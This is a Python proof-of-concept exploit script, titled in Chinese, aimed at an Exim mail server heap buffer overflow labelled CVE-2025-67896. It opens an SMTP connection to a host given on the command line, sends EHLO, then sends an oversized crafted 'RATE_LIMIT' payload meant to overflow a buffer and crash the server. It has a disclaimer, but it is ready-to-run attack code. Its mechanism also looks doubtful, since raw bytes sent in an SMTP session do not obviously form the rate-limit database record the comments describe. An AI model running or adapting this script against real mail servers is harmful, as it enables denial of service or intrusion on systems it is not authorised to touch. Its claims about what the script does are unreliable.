CVE-2025-67896 Exim邮件服务器堆缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-67896 PoC - Exim Rate-Limit Heap Overflow Note: This PoC is for educational and authorized testing purposes only. """ import socket import sys def create_exploit_payload(): """ Generate malicious payload for rate-limit database record that triggers heap buffer overflow in Exim """ # Craft a malformed rate-limit record with oversized fields # that will overflow internal structures when cast without validation header = b'RATE_LIMIT\x00' # Overflow payload - field length exceeds expected buffer size overflow_field = b'A' * 2048 # Exceeds internal buffer # Malformed data structure without proper validation payload = header + overflow_field + b'\x00' * 100 return payload def send_exploit(target_host, target_port=25): """ Send exploit payload to target Exim SMTP server """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Read banner banner = sock.recv(1024) print(f"[+] Received banner: {banner.decode().strip()}") # Send EHLO sock.send(b'EHLO test\r\n') response = sock.recv(1024) print(f"[+] EHLO response received") # Send malicious rate-limit payload payload = create_exploit_payload() print(f"[+] Sending exploit payload ({len(payload)} bytes)") sock.send(payload) # Wait for response try: response = sock.recv(1024) print(f"[+] Response: {response}") except socket.timeout: print("[*] No response (possible crash or timeout)") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_host> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 25 print(f"[*] Exploiting CVE-2025-67896 against {target}:{port}") send_exploit(target, port)